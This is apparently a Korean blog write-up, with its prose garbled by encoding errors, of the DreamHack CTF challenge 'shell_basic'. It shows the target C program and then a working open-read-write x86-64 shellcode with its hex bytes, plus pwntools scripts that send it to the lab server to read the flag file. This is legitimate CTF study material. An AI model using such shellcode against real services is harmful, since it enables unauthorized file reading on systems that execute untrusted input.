Shell_Basic
์ ๋ ฅํ ์ ธ์ฝ๋๋ฅผ ์คํํ๋ ํ๋ก๊ทธ๋จ์ด ์๋น์ค๋ก ๋ฑ๋ก๋์ด ์๋ํ๊ณ ์์ต๋๋ค.
main ํจ์๊ฐ ์๋ ๋ค๋ฅธ ํจ์๋ค์ execve, execveat ์์คํ ์ฝ์ ์ฌ์ฉํ์ง ๋ชปํ๋๋ก ํ๋ฉฐ, ํ์ด์ ๊ด๋ จ์ด ์๋ ํจ์์ ๋๋ค.
flag ํ์ผ์ ์์น์ ์ด๋ฆ์ /home/shell_basic/flag_name_is_loooooong์ ๋๋ค.
๊ฐ ์ก๊ธฐ ์ด๋ ค์ฐ์ ๋ถ๋ค์ ์๋ ์ฝ๋๋ฅผ ๊ฐ์ง๊ณ ๋จผ์ ์ฐ์ตํด๋ณด์ธ์!
ํ๋๊ทธ ํ์์ DH{...} ์ ๋๋ค. DH{ ์ }๋ ๋ชจ๋ ํฌํจํ์ฌ ์ธ์ฆํด์ผ ํฉ๋๋ค.
ํ๋ก๊ทธ๋จ ๋ถ์
๋ฌธ์ ์์ ์ ์๋ ํ๋ก๊ทธ๋จ์ ์คํํ๋ฉด Shellcode๋ฅผ ์ ๋ ฅ๋ฐ๋๋ค.
ํฌํจ๋์ด์๋ ์์ค๋ฅผ ๋ณด๋ฉด ์์ฝ๋๋ฅผ ๋ฐ์์ ์คํ์ ํด์ค๋ค.
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
execve, execveat ํจ์๋ ์ฌ์ฉํ์ง ๋ชป ํ๋๋ก ๋์ด์์ด Flag๋ฅผ ORW(Open Read Write) ์์ฝ๋๋ฅผ ํตํด ์ฝ์ด์ผํ๋ค.
ShellCode ์์ฑ
* shellcode.asm
; File name: shellcode.asm
section .text
global _start
_start:
push 0x0
mov rax, 0x676e6f6f6f6f6f6f ; oooooong
push rax
mov rax, 0x6c5f73695f656d61 ; ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ; c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ; ell_basi
push rax
mov rax, 0x68732f656d6f682f ; /home/sh
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
syscall ; Open
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall ;Read
mov rdi, 0x1
mov rax, 0x1
syscall ; Write
Flag ํ์ผ์ ๊ฒฝ๋ก๋ /home/shell_basic/flag_name_is_loooooong
๋ก 8 Btye ์ฉ ์๋ผ์ ์คํ์ Push ํด์ค๋ค.
asm์ ์์ฑ ํ ์๋ ๋ช ๋ น์ด๋ฅผ ํตํด ์์ฝ๋๋ฅผ ์์ฑํ๋ค.
8 Byte ์ฉ ์๋ฅธ ๋ฌธ์์ด์ ์๋ ๋ช ๋ น์ด๋ฅผ ํตํด little endian ๋ฐฉ์์ผ๋ก packing์ ์งํํ๋ค.
>>> p64(int(binascii.hexlify(b"oooooong"),16)).hex()
'676e6f6f6f6f6f6f'
nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
ํจํน์ ์งํํ ์์ฝ๋ ๋ฐ์ดํธ๋ฅผ pwntools๋ฅผ ํตํด ์๋ฒ์ ์ ๋ ฅํ๋ค.
from pwn import *
p = remote("host3.dreamhack.games",18477)
shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.send(shellcode)
p.interactive()
์๋๋ ShellCraft๋ฅผ ํตํด ์์ฑํ ORW Shellcode ์ด๋ค.
from pwn import *
context(arch="amd64", os="linux")
p = remote("host3.dreamhack.games",17850)
shellcode = shellcraft.open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read("rax","rsp",100)
shellcode += shellcraft.write(1,"rsp",100)
p.recvuntil("shellcode:")
p.send(asm(shellcode))
print(p.recvline())
'๐ก๏ธCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Switching Commnad (0) | 2024.01.07 |
---|---|
Secure Mail (0) | 2024.01.03 |
rev-basic-4 (0) | 2023.09.28 |
rev-basic-3 (0) | 2023.09.19 |
[BOB CTF 8th] - FileStroage (0) | 2022.09.13 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
Switching Commnad
Switching Commnad
2024.01.07 -
Secure Mail
Secure Mail
2024.01.03 -
rev-basic-4
rev-basic-4
2023.09.28 -
rev-basic-3
rev-basic-3
2023.09.19